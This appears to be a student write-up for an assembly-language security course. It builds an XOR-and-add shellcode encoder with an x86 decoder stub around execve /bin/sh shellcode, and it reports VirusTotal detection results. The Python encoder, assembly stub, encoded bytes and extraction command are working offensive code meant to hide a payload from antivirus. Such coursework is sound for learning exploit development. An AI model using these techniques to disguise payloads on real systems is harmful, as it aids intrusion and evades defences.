SLAE: Shellcode Encoder
*all supporting code can be found here*
Student ID: SLAE - 1532
This assignment will see us create and confirm the execution of a custom shellcode encoder. The payload will be a simple execve syscall calling //bin/sh as below:
First we will need to encode the raw shellcode, and then write a decoder in assembly which we will extract and prepend to our encoded shellcode.
This is known as a “decoder stub”, it essentially runs prior to the encoded shellcode upon execution, and by the time the payload is reached it is decoded and ready to go.
After a lot of trial and error, I opted for 2 very simple techniques spliced together.
First, I modified Vivek’s python script to take our shellcode and then xor each byte before incrementing them by 3 as below:
#!/usr/bin/python # XOR all bytes then increase them by 3 # Python Encoder shellcode = ("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80") encoded = "" encoded2 = "" print 'Encoded shellcode ...' for x in bytearray(shellcode) : x = x^0xaa encoded += '\\x' encoded += '%02x' % (x+3) # %02x tells format() to use at least 2 digits in hex encoded2 += '0x' encoded2 += '%02x,' % (x+3) print encoded print encoded2 print 'Len: %d' % len(bytearray(shellcode))
We run our script with the shellcode and get out encoded payload:
Using the same tricks from previous assignments, I was able to write a simple yet effective decoder.
global _start section .text _start: jmp short call_shellcode ; jump to call_shellcode, call decoder decoder: pop esi ; (because we jumped, the next address is that of our shellcode) xor eax, eax xor ebx, ebx xor ecx, ecx mov cl, 25 ; set our loop length (equal to that of our generated shellcode) decode2: sub byte [esi], 0x03 xor byte [esi], 0xaa inc esi ; increment esi to run through all bytes loop decode2 jmp short EncodedShellcode ; once complete jump into out decoded payload! call_shellcode: call decoder EncodedShellcode: db 0x9e,0x6d,0xfd,0xc5,0x88,0x88,0xdc,0xc5,0xc5,0x88,0xcb,0xc6,0xc7,0x26,0x4c,0xfd,0x26,0x4b,0xfc,0x26,0x4e,0x1d,0xa4,0x6a,0x2d
We now pull the shellcode from our compiled decoder, which will altogether yield both the decoder stub and payload
objdump -d ./insertion-decoder|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
The complete shellcode goes in our c program, and we test the decoder stub:
Although I opted to try and keep this as simple as possible, the results from VirusTotal were not that bad.